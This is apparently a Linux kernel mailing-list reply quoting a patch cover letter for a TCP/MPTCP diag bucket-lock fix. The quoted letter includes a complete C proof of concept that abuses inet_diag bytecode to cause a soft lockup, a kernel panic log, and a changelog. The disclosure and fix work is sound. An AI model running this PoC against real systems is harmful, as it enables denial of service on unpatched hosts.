> >                 }
> >
> >                 for (i = 0; i < count_per_group; i++) {
> >                         unsigned int idx = g * count_per_group + i;
> >                         int bound_port = port;
> >                         int fd = create_socket_in_bucket(listen_mode, bound_port,
> >                                                          &bound_port);
> >
> >                         if (fd < 0) {
> >                                 fprintf(stderr,
> >                                         "socket setup failed at group %u index %u (port %d)\n",
> >                                         g, i, port);
> >                                 goto err;
> >                         }
> >
> >                         fds[idx] = fd;
> >                         if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
> >                                 printf("sockets_ready=%u group=%u port=%d mode=%s\n",
> >                                        idx + 1, g + 1, port,
> >                                        listen_mode ? "listen" : "bound");
> >                         }
> >                 }
> >         }
> >
> >         *fds_out = fds;
> >         *port_out = base_port;
> >         return 0;
> >
> > err:
> >         for (i = 0; i < total; i++) {
> >                 if (fds[i] > 0)
> >                         close(fds[i]);
> >         }
> >         free(fds);
> >         return -1;
> > }
> >
> > static void teardown_sockets(int *fds, unsigned int count)
> > {
> >         unsigned int i;
> >
> >         if (!fds)
> >                 return;
> >
> >         for (i = 0; i < count; i++) {
> >                 if (fds[i] >= 0)
> >                         close(fds[i]);
> >         }
> >         free(fds);
> > }
> >
> > static size_t build_request(void *buf, bool listen_mode, bool with_attack,
> >                             unsigned int nops)
> > {
> >         size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
> >         struct nlmsghdr *nlh = buf;
> >         struct inet_diag_req_v2 *req;
> >
> >         memset(buf, 0, msg_len);
> >         nlh->nlmsg_len = msg_len;
> >         nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
> >         nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
> >         nlh->nlmsg_seq = 1;
> >
> >         req = NLMSG_DATA(nlh);
> >         req->sdiag_family = AF_INET;
> >         req->sdiag_protocol = IPPROTO_TCP;
> >         req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
> >         req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
> >         req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
> >
> >         if (with_attack) {
> >                 size_t payload_len = ((size_t)nops + 2U) *
> >                                      sizeof(struct inet_diag_bc_op);
> >                 size_t attr_len = NLA_HDRLEN + payload_len;
> >                 struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
> >                 struct inet_diag_bc_op *ops;
> >                 unsigned int i;
> >
> >                 memset(nla, 0, NLA_ALIGN(attr_len));
> >                 nla->nla_type = INET_DIAG_REQ_BYTECODE;
> >                 nla->nla_len = attr_len;
> >                 ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);
> >
> >                 for (i = 0; i < nops; i++) {
> >                         ops[i].code = INET_DIAG_BC_NOP;
> >                         ops[i].yes = sizeof(struct inet_diag_bc_op);
> >                         ops[i].no = 0;
> >                 }
> >
> >                 ops[nops].code = INET_DIAG_BC_D_EQ;
> >                 ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
> >                 ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);
> >
> >                 ops[nops + 1].code = 0;
> >                 ops[nops + 1].yes = 0;
> >                 ops[nops + 1].no = 1;
> >
> >                 msg_len += NLA_ALIGN(attr_len);
> >                 nlh->nlmsg_len = msg_len;
> >         }
> >
> >         return msg_len;
> > }
> >
> > static int recv_until_done(int fd)
> > {
> >         char *buf;
> >         int ret = 0;
> >
> >         buf = malloc(RECV_BUF_SIZE);
> >         if (!buf) {
> >                 perror("malloc(recv buf)");
> >                 return -1;
> >         }
> >
> >         for (;;) {
> >                 ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
> >                 struct nlmsghdr *nlh;
> >                 int remaining;
> >
> >                 if (received < 0) {
> >                         perror("recv");
> >                         ret = -1;
> >                         break;
> >                 }
> >
> >                 if (received == 0) {
> >                         fprintf(stderr, "recv: unexpected EOF\n");
> >                         ret = -1;
> >                         break;
> >                 }
> >
> >                 remaining = (int)received;
> >                 for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
> >                      nlh = NLMSG_NEXT(nlh, remaining)) {
> >                         if (nlh->nlmsg_type == NLMSG_DONE)
> >                                 goto out;
> >
> >                         if (nlh->nlmsg_type == NLMSG_ERROR) {
> >                                 const struct nlmsgerr *err = NLMSG_DATA(nlh);
> >
> >                                 if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
> >                                         fprintf(stderr, "short NLMSG_ERROR\n");
> >                                 } else if (err->error) {
> >                                         errno = -err->error;
> >                                         perror("netlink");
> >                                 } else {
> >                                         fprintf(stderr, "unexpected ACK\n");
> >                                 }
> >                                 ret = -1;
> >                                 goto out;
> >                         }
> >                 }
> >         }
> >
> > out:
> >         free(buf);
> >         return ret;
> > }
> >
> > static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
> >                     double *wall_ms)
> > {
> >         size_t request_len;
> >         size_t attr_space = with_attack ?
> >                             NLA_ALIGN(NLA_HDRLEN +
> >                                       ((size_t)nops + 2U) *
> >                                       sizeof(struct inet_diag_bc_op)) : 0;
> >         size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
> >                            attr_space;
> >         struct sockaddr_nl local = {
> >                 .nl_family = AF_NETLINK,
> >         };
> >         struct sockaddr_nl kernel = {
> >                 .nl_family = AF_NETLINK,
> >         };
> >         struct timeval timeout = {
> >                 .tv_sec = 60,
> >                 .tv_usec = 0,
> >         };
> >         struct iovec iov;
> >         struct msghdr msg = {
> >                 .msg_name = &kernel,
> >                 .msg_namelen = sizeof(kernel),
> >                 .msg_iov = &iov,
> >                 .msg_iovlen = 1,
> >         };
> >         struct timespec start_ts;
> >         struct timespec end_ts;
> >         void *request;
> >         int fd;
> >         int ret = -1;
> >
> >         request = malloc(alloc_len);
> >         if (!request) {
> >                 perror("malloc(request)");
> >                 return -1;
> >         }
> >
> >         request_len = build_request(request, listen_mode, with_attack, nops);
> >
> >         fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
> >         if (fd < 0) {
> >                 perror("socket(AF_NETLINK)");
> >                 free(request);
> >                 return -1;
> >         }
> >
> >         if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
> >                 perror("setsockopt(SO_RCVTIMEO)");
> >                 goto out;
> >         }
> >
> >         if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
> >                 perror("bind(netlink)");
> >                 goto out;
> >         }
> >
> >         iov.iov_base = request;
> >         iov.iov_len = request_len;
> >
> >         if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
> >                 perror("clock_gettime(start)");
> >                 goto out;
> >         }
> >
> >         if (sendmsg(fd, &msg, 0) < 0) {
> >                 perror("sendmsg");
> >                 goto out;
> >         }
> >
> >         if (recv_until_done(fd) < 0)
> >                 goto out;
> >
> >         if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
> >                 perror("clock_gettime(end)");
> >                 goto out;
> >         }
> >
> >         *wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
> >         ret = 0;
> >
> > out:
> >         close(fd);
> >         free(request);
> >         return ret;
> > }
> >
> > static int parse_u32(const char *arg, unsigned int *value)
> > {
> >         char *end = NULL;
> >         unsigned long parsed;
> >
> >         parsed = strtoul(arg, &end, 0);
> >         if (!end || *end || parsed > UINT32_MAX)
> >                 return -1;
> >
> >         *value = (unsigned int)parsed;
> >         return 0;
> > }
> >
> > static int parse_port(const char *arg, int *port)
> > {
> >         unsigned int value;
> >
> >         if (parse_u32(arg, &value) < 0 || value > 65535U)
> >                 return -1;
> >
> >         *port = (int)value;
> >         return 0;
> > }
> >
> > int main(int argc, char **argv)
> > {
> >         struct options opts = {
> >                 .sockets = DEFAULT_SOCKETS,
> >                 .nops = DEFAULT_NOPS,
> >                 .repeat = DEFAULT_REPEAT,
> >                 .groups = DEFAULT_GROUPS,
> >                 .stride = DEFAULT_STRIDE,
> >                 .cpu = 0,
> >                 .cpu_set = false,
> >                 .compare = false,
> >                 .attack = true,
> >                 .listen_mode = true,
> >                 .port = 0,
> >         };
> >         int *fds = NULL;
> >         int port = 0;
> >         unsigned int i;
> >
> >         for (i = 1; i < (unsigned int)argc; i++) {
> >                 if (strcmp(argv[i], "--count") == 0) {
> >                         if (i + 1 >= (unsigned int)argc ||
> >                             parse_u32(argv[++i], &opts.sockets) < 0 ||
> >                             opts.sockets == 0) {
> >                                 usage(argv[0]);
> >                                 return 1;
> >                         }
> >                 } else if (strcmp(argv[i], "--nops") == 0) {
> >                         if (i + 1 >= (unsigned int)argc ||
> >                             parse_u32(argv[++i], &opts.nops) < 0 ||
> >                             opts.nops > MAX_NOPS) {
> >                                 fprintf(stderr, "--nops must be in range [0, %u]\n",
> >                                         MAX_NOPS);
> >                                 return 1;
> >                         }
> >                 } else if (strcmp(argv[i], "--repeat") == 0) {
> >                         if (i + 1 >= (unsigned int)argc ||
> >                             parse_u32(argv[++i], &opts.repeat) < 0 ||
> >                             opts.repeat == 0) {
> >                                 usage(argv[0]);
> >                                 return 1;
> >                         }
> >                 } else if (strcmp(argv[i], "--groups") == 0) {
> >                         if (i + 1 >= (unsigned int)argc ||
> >                             parse_u32(argv[++i], &opts.groups) < 0 ||
> >                             opts.groups == 0) {
> >                                 usage(argv[0]);
> >                                 return 1;
> >                         }
> >                 } else if (strcmp(argv[i], "--stride") == 0) {
> >                         if (i + 1 >= (unsigned int)argc ||
> >                             parse_u32(argv[++i], &opts.stride) < 0 ||
> >                             opts.stride == 0) {
> >                                 usage(argv[0]);
> >                                 return 1;
> >                         }
> >                 } else if (strcmp(argv[i], "--port") == 0) {
> >                         if (i + 1 >= (unsigned int)argc ||
> >                             parse_port(argv[++i], &opts.port) < 0) {
> >                                 usage(argv[0]);
> >                                 return 1;
> >                         }
> >                 } else if (strcmp(argv[i], "--cpu") == 0) {
> >                         if (i + 1 >= (unsigned int)argc ||
> >                             parse_u32(argv[++i], &opts.cpu) < 0) {
> >                                 usage(argv[0]);
> >                                 return 1;
> >                         }
> >                         opts.cpu_set = true;
> >                 } else if (strcmp(argv[i], "--compare") == 0) {
> >                         opts.compare = true;
> >                 } else if (strcmp(argv[i], "--no-attack") == 0) {
> >                         opts.attack = false;
> >                 } else if (strcmp(argv[i], "--listen") == 0) {
> >                         opts.listen_mode = true;
> >                 } else if (strcmp(argv[i], "--bound") == 0) {
> >                         opts.listen_mode = false;
> >                 } else {
> >                         usage(argv[0]);
> >                         return 1;
> >                 }
> >         }
> >
> >         if (opts.groups > UINT32_MAX / opts.sockets) {
> >                 fprintf(stderr, "socket count overflow\n");
> >                 return 1;
> >         }
> >
> >         if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
> >                 return 1;
> >
> >         if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
> >                 return 1;
> >
> >         if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
> >                           opts.stride, opts.port, &fds, &port) < 0)
> >                 return 1;
> >
> >         printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
> >                opts.groups, opts.sockets, opts.groups * opts.sockets,
> >                port, opts.stride, opts.listen_mode ? "listen" : "bound",
> >                opts.nops, opts.repeat,
> >                opts.compare ? "yes" : "no",
> >                opts.attack ? "yes" : "no");
> >
> >         if (opts.compare) {
> >                 double wall_ms;
> >
> >                 if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
> >                         teardown_sockets(fds, opts.groups * opts.sockets);
> >                         return 1;
> >                 }
> >                 printf("baseline wall_ms=%.3f\n", wall_ms);
> >         }
> >
> >         if (opts.attack) {
> >                 for (i = 0; i < opts.repeat; i++) {
> >                         double wall_ms;
> >
> >                         if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
> >                                 teardown_sockets(fds, opts.groups * opts.sockets);
> >                                 return 1;
> >                         }
> >                         printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
> >                 }
> >         }
> >
> >         teardown_sockets(fds, opts.groups * opts.sockets);
> >         return 0;
> > }
> > ------END poc.c--------
> >
> > ----BEGIN crash log----
> > watchdog: BUG: soft lockup - CPU#1 stuck for 3s! [poc:256]
> > [   21.507468] Modules linked in:
> > [   21.507471] CPU: 1 UID: 0 PID: 256 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #5 PREEMPT(full)
> > [   21.507472] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> > [   21.507473] RIP: 0010:inet_diag_bc_sk (inet_diag.c:471 inet_diag.c:631)
> > [   21.507499] Code: 00 00 00 0f 87 89 00 00 00 3c 02 0f 84 4e 01 00 00 3c 03 0f 84 72 01 00 00 3c 01 75 31 0f b7 53 02 29 d5 48 01 d3 85 ed 7e 31 <0f> b6 03 3c 08 76 c2 3c 0b 0f 84 76 01 00 00 77 3a 3c 09 0f 84 54
> > All code
> > ========
> >    0:   00 00                   add    %al,(%rax)
> >    2:   00 0f                   add    %cl,(%rdi)
> >    4:   87 89 00 00 00 3c       xchg   %ecx,0x3c000000(%rcx)
> >    a:   02 0f                   add    (%rdi),%cl
> >    c:   84 4e 01                test   %cl,0x1(%rsi)
> >    f:   00 00                   add    %al,(%rax)
> >   11:   3c 03                   cmp    $0x3,%al
> >   13:   0f 84 72 01 00 00       je     0x18b
> >   19:   3c 01                   cmp    $0x1,%al
> >   1b:   75 31                   jne    0x4e
> >   1d:   0f b7 53 02             movzwl 0x2(%rbx),%edx
> >   21:   29 d5                   sub    %edx,%ebp
> >   23:   48 01 d3                add    %rdx,%rbx
> >   26:   85 ed                   test   %ebp,%ebp
> >   28:   7e 31                   jle    0x5b
> >   2a:*  0f b6 03                movzbl (%rbx),%eax              <-- trapping instruction
> >   2d:   3c 08                   cmp    $0x8,%al
> >   2f:   76 c2                   jbe    0xfffffffffffffff3
> >   31:   3c 0b                   cmp    $0xb,%al
> >   33:   0f 84 76 01 00 00       je     0x1af
> >   39:   77 3a                   ja     0x75
> >   3b:   3c 09                   cmp    $0x9,%al
> >   3d:   0f                      .byte 0xf
> >   3e:   84                      .byte 0x84
> >   3f:   54                      push   %rsp
> >
> > Code starting with the faulting instruction
> > ===========================================
> >    0:   0f b6 03                movzbl (%rbx),%eax
> >    3:   3c 08                   cmp    $0x8,%al
> >    5:   76 c2                   jbe    0xffffffffffffffc9
> >    7:   3c 0b                   cmp    $0xb,%al
> >    9:   0f 84 76 01 00 00       je     0x185
> >    f:   77 3a                   ja     0x4b
> >   11:   3c 09                   cmp    $0x9,%al
> >   13:   0f                      .byte 0xf
> >   14:   84                      .byte 0x84
> >   15:   54                      push   %rsp
> > [   21.507500] RSP: 0018:ffffbb290036b7a8 EFLAGS: 00000202
> > [   21.507501] RAX: 0000000000000000 RBX: ffff98bcf7ca2588 RCX: 0000000000000000
> > [   21.507502] RDX: 0000000000000004 RSI: ffff98bcf7ca0048 RDI: ffff98bcf61c9840
> > [   21.507502] RBP: 000000000000dabc R08: 0000000000000000 R09: ffff98bcdfb91440
> > [   21.507502] R10: 0000000000000000 R11: ffff98bcdfb91444 R12: 0000000000000000
> > [   21.507503] R13: 0000000000002f10 R14: 0000000000000000 R15: 0000000000000002
> > [   21.507508] FS:  0000000002be8380(0000) GS:ffff98bda3b6e000(0000) knlGS:0000000000000000
> > [   21.507509] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [   21.507510] CR2: 00007f62b3bb9000 CR3: 000000000c6b6005 CR4: 0000000000370ef0
> > [   21.507510] Call Trace:
> > [   21.507512]  <TASK>
> > [   21.507512]  ? inet_diag_bc_sk (inet_diag.c:632)
> > [   21.507514]  tcp_diag_dump (tcp_diag.c:366)
> > [   21.507524]  ? ___slab_alloc (slub.c:1080 slub.c:4524)
> > [   21.507526]  ? __kmalloc_node_track_caller_noprof (slub.c:4936 slub.c:5361 slub.c:5497)
> > [   21.507527]  ? inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
> > [   21.507528]  ? __alloc_skb (skbuff.c:715)
> > [   21.507531]  ? kmalloc_reserve (skbuff.c:637 (discriminator 1))
> > [   21.507532]  __inet_diag_dump (inet_diag.c:823)
> > [   21.507533]  netlink_dump (af_netlink.c:2331)
> > [   21.507543]  __netlink_dump_start (af_netlink.c:2446)
> > [   21.507544]  inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
> > [   21.507545]  ? __pfx_inet_diag_dump_start (inet_diag.c:891)
> > [   21.507546]  ? __pfx_inet_diag_dump (inet_diag.c:928)
> > [   21.507547]  ? __pfx_inet_diag_dump_done (inet_diag.c:508)
> > [   21.507548]  sock_diag_rcv_msg (sock_diag.c:248 sock_diag.c:284)
> > [   21.507550]  ? __pfx_sock_diag_rcv_msg (sock_diag.c:306)
> > [   21.507551]  netlink_rcv_skb (af_netlink.c:2556)
> > [   21.507553]  netlink_unicast (af_netlink.c:1319 af_netlink.c:1345)
> > [   21.507554]  netlink_sendmsg (af_netlink.c:1900)
> > [   21.507556]  ____sys_sendmsg (socket.c:775 (discriminator 1) socket.c:790 (discriminator 1) socket.c:2684 (discriminator 1))
> > [   21.507558]  ___sys_sendmsg (socket.c:2738)
> > [   21.507559]  __sys_sendmsg (socket.c:2770)
> > [   21.507560]  do_syscall_64 (syscall_64.c:63 syscall_64.c:94)
> > [   21.507563]  entry_SYSCALL_64_after_hwframe (entry_64.S:121)
> > [   21.507564] RIP: 0033:0x421964
> > [   21.507566] Code: c2 c0 ff ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 f3 0f 1e fa 80 3d fd 26 09 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 4c c3 0f 1f 00 55 48 89 e5 48 83 ec 20 89 55
> > All code
> > ========
> >    0:   c2 c0 ff                ret    $0xffc0
> >    3:   ff                      (bad)
> >    4:   ff f7                   push   %rdi
> >    6:   d8 64 89 02             fsubs  0x2(%rcx,%rcx,4)
> >    a:   48 c7 c0 ff ff ff ff    mov    $0xffffffffffffffff,%rax
> >   11:   eb b5                   jmp    0xffffffffffffffc8
> >   13:   0f 1f 00                nopl   (%rax)
> >   16:   f3 0f 1e fa             endbr64
> >   1a:   80 3d fd 26 09 00 00    cmpb   $0x0,0x926fd(%rip)        # 0x9271e
> >   21:   74 13                   je     0x36
> >   23:   b8 2e 00 00 00          mov    $0x2e,%eax
> >   28:   0f 05                   syscall
> >   2a:*  48 3d 00 f0 ff ff       cmp    $0xfffffffffffff000,%rax         <-- trapping instruction
> >   30:   77 4c                   ja     0x7e
> >   32:   c3                      ret
> >   33:   0f 1f 00                nopl   (%rax)
> >   36:   55                      push   %rbp
> >   37:   48 89 e5                mov    %rsp,%rbp
> >   3a:   48 83 ec 20             sub    $0x20,%rsp
> >   3e:   89                      .byte 0x89
> >   3f:   55                      push   %rbp
> >
> > Code starting with the faulting instruction
> > ===========================================
> >    0:   48 3d 00 f0 ff ff       cmp    $0xfffffffffffff000,%rax
> >    6:   77 4c                   ja     0x54
> >    8:   c3                      ret
> >    9:   0f 1f 00                nopl   (%rax)
> >    c:   55                      push   %rbp
> >    d:   48 89 e5                mov    %rsp,%rbp
> >   10:   48 83 ec 20             sub    $0x20,%rsp
> >   14:   89                      .byte 0x89
> >   15:   55                      push   %rbp
> > [   21.507567] RSP: 002b:00007ffde1d1cfc8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
> > [   21.507568] RAX: ffffffffffffffda RBX: 0000000002bea910 RCX: 0000000000421964
> > [   21.507570] RDX: 0000000000000000 RSI: 00007ffde1d1d040 RDI: 0000000000020003
> > [   21.507571] RBP: 0000000000020003 R08: 0006b49d20000000 R09: 00007f62b3bb50e8
> > [   21.507571] R10: 0000000000000004 R11: 0000000000000202 R12: 00007ffde1d1d110
> > [   21.507571] R13: 0000000000003ffc R14: 0000000000010044 R15: 000000000000fffc
> > [   21.507572]  </TASK>
> > [   21.507573] Kernel panic - not syncing: softlockup: hung tasks
> > -----END crash log-----
> >
> > Best regards,
> > Zihan Xi
> >
> > changes in v2:
> >   - Rebased onto net commit e2a6641e3bfd (2026-08-27).
> >   - Corrected the non-listener PoC state mask to TCPF_BOUND_INACTIVE.
> >   - Added current-bucket cursor validation for TCP listener, bind, and
> >     ehash paths, and for MPTCP listeners, with safe restart on mismatch.
> >   - Reject listen/ehash/MPTCP listener cursors unless sk_state still
> >     matches the table being walked.
> >   - Count TIME_WAIT bind nodes toward the batch limit and resume them via
> >     tw_tb2 instead of treating them as inet_connection_sock.
> >   - Kept the listener and bound-only TCP Fixes tags; dropped 7e3aab4a9cd7
> >     because that commit only converted the existing ehash dump lock type.
> >   - Sorted new TCP dump local declarations reverse xmas tree.
> >   - Moved INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN into the MPTCP patch.
> >   - Read icsk_ulp_data with rcu_dereference() after dropping the MPTCP
> >     listener lock.
> >   - Refreshed the inline PoC and matching decoded crash log artifacts.
> >   - Corrected wording and removed duplicate crash-log provenance text.
> >   - Made PoC defaults match unshare -Urn ./poc (4 listener groups).
> >   - Clarified crash-log UID 0, cursor fallback restart, and that UDP/RAW
> >     diag locks are outside this series.
> >   - v1 Link: https://lore.kernel.org/all/cover.1785307984.git.zihanx@nebusec.ai/
> >
> > Zihan Xi (2):
> >   tcp: diag: bound bucket lock hold in tcp_diag_dump()
> >   mptcp: diag: bound listener bucket lock hold
> >
> >  include/linux/inet_diag.h     |  15 ++
> >  include/net/inet_hashtables.h |  18 ++
> >  net/ipv4/inet_diag.c          |  13 ++
> >  net/ipv4/inet_hashtables.c    |  18 --
> >  net/ipv4/tcp_diag.c           | 338 +++++++++++++++++++++++++---------
> >  net/mptcp/mptcp_diag.c        | 124 +++++++++----
> >  6 files changed, 383 insertions(+), 143 deletions(-)
> >
> > --
> > 2.43.0
> >

Hi Kuniyuki,

Thanks for the review.

I understand the concern about the added complexity in
tcp_diag_dump(). I will drop the cursor/batching approach.

If a much smaller change would be useful, I can respin to
only move the bytecode/filter/fill work out of the bucket
lock and keep the existing s_num restart. If not, I will
drop the series.

Thanks,
Zihan